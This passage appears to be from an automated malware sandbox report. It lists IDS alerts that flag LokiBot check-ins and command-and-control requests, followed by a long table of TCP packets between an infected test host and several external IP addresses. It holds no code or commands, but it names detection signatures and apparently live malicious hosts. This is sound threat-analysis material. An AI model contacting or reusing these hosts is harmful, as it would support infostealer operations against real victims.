2024-10-24T08:47:39.740085+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49256	94.156.177.220	80	TCP
2024-10-24T08:47:39.740085+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49256	94.156.177.220	80	TCP
2024-10-24T08:47:40.694535+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49256	94.156.177.220	80	TCP
2024-10-24T08:47:40.694535+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49256	94.156.177.220	80	TCP
2024-10-24T08:47:40.700210+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49256	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 08:45:22.450385094 CEST	49163	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:22.450465918 CEST	443	49163	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:22.450607061 CEST	49163	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:22.521857977 CEST	49163	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:22.521908998 CEST	443	49163	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:23.642343998 CEST	443	49163	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:23.642478943 CEST	49163	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:23.648199081 CEST	49163	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:23.648231983 CEST	443	49163	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:23.648561954 CEST	443	49163	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:23.648632050 CEST	49163	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:23.729605913 CEST	49163	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:23.775348902 CEST	443	49163	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:23.981192112 CEST	443	49163	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:23.981290102 CEST	49163	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:23.981306076 CEST	443	49163	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:23.981352091 CEST	49163	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:23.981409073 CEST	443	49163	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:23.981468916 CEST	49163	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:23.982858896 CEST	49163	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:23.982872009 CEST	443	49163	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:23.992266893 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:23.997737885 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:23.997911930 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:23.997997999 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.003621101 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.692682028 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.692734003 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.692785025 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.692820072 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.692852974 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.692886114 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.692894936 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.692894936 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.692894936 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.692894936 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.692894936 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.692922115 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.692953110 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.692964077 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.692970991 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.693002939 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.693023920 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.693046093 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.693054914 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.693098068 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.698542118 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.698579073 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.698611975 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.698652029 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.719336987 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.809485912 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.809513092 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.809530973 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.809547901 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.809643984 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.809680939 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.809740067 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.809756994 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.809783936 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.809794903 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.809799910 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.809817076 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.809825897 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.809856892 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.809895039 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.810731888 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.810760975 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.810775995 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.810791969 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.810792923 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.810808897 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.810832977 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.810859919 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.811713934 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.811732054 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.811760902 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.811775923 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.811775923 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.811795950 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.811809063 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.811839104 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.812671900 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.812689066 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.812711954 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.812736034 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.812769890 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.815007925 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.815078974 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.815092087 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.815148115 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.926467896 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.926501989 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.926521063 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.926537037 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.926553011 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.926568985 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.926597118 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.926681995 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.926683903 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.926683903 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.926683903 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.926683903 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.926685095 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.926685095 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.926698923 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.926718950 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.926805973 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.926805973 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.926805973 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.926968098 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.926985979 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.927038908 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.927038908 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.927082062 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.927110910 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.927138090 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.927140951 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.927155972 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.927165985 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.927172899 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.927187920 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.927192926 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.927210093 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.927249908 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.927249908 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.927700043 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.927705050 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.927715063 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.927730083 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.927778959 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.927810907 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.928107977 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928124905 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928139925 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928154945 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928164959 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.928181887 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928189039 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.928200006 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928210020 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.928217888 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928231001 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.928236961 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928248882 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.928255081 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928268909 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.928275108 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928287029 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.928308010 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.928327084 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.928921938 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928937912 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928965092 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928978920 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.928987026 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.928998947 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.929014921 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.929017067 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:24.929014921 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.929044008 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:24.929059029 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:25.143767118 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:25.144052982 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:25.258419037 CEST	49165	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:25.258462906 CEST	443	49165	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:25.258543015 CEST	49165	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:25.271605015 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:25.271686077 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:25.287599087 CEST	49165	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:25.287616968 CEST	443	49165	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:26.398242950 CEST	443	49165	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:26.398583889 CEST	49165	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:26.403203011 CEST	49165	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:26.403217077 CEST	443	49165	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:26.403490067 CEST	443	49165	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:26.403542042 CEST	49165	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:26.465584993 CEST	49165	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:26.507333040 CEST	443	49165	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:26.716754913 CEST	443	49165	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:26.716814041 CEST	49165	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:26.716840982 CEST	443	49165	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:26.716857910 CEST	443	49165	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:26.716878891 CEST	49165	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:26.716895103 CEST	49165	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:26.718476057 CEST	49165	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:26.718499899 CEST	443	49165	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:26.729583979 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:26.735001087 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:26.735052109 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:26.735239983 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:26.740586996 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.389779091 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.389837980 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.389848948 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.389883041 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.389909029 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.389930010 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.389967918 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.389977932 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.389986992 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.389997005 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.390022993 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.390039921 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.390041113 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.390058994 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.390059948 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.390081882 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.390083075 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.390110016 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.390127897 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.395416021 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.395471096 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.397980928 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.505485058 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.505527020 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.505536079 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.505552053 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.505563021 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.505597115 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.505597115 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.505805969 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.505831003 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.505840063 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.505855083 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.505856037 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.505863905 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.505871058 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.505897999 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.506679058 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.506726027 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.506728888 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.506735086 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.506762028 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.506767988 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.506771088 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.506808996 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.507662058 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.507678032 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.507687092 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.507704973 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.507714987 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.507719994 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.507729053 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.507744074 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.507754087 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.508605003 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.508632898 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.508646011 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.508671999 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.510895967 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.510925055 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.510948896 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.510973930 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.511096001 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.511117935 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.511138916 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.511162996 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.621551991 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.621623039 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.621645927 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.621682882 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.621701956 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.621735096 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.621776104 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.621793985 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.621812105 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.621809006 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.621809006 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.621809959 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.621829987 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.621850014 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.621901035 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.621901035 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.621901035 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.621901035 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.622071981 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.622138023 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.622180939 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.622205973 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.622247934 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.622270107 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.622288942 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.622330904 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.622549057 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.622575045 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.622603893 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.622618914 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.622626066 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.622637033 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.622673035 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.622688055 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.622694016 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.622742891 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.623085976 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.623126984 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.623169899 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.623183012 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.623209953 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.623245001 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.623260021 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.623279095 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.623296976 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.623301029 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.623341084 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.623347044 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.623347044 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.623373032 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.623384953 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.623393059 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.623428106 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.623454094 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.623539925 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.624013901 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.624103069 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.624142885 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.624176979 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.624195099 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.624197960 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.624212980 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.624245882 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.624264002 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.624265909 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.624284029 CEST	80	49166	192.3.176.141	192.168.2.22
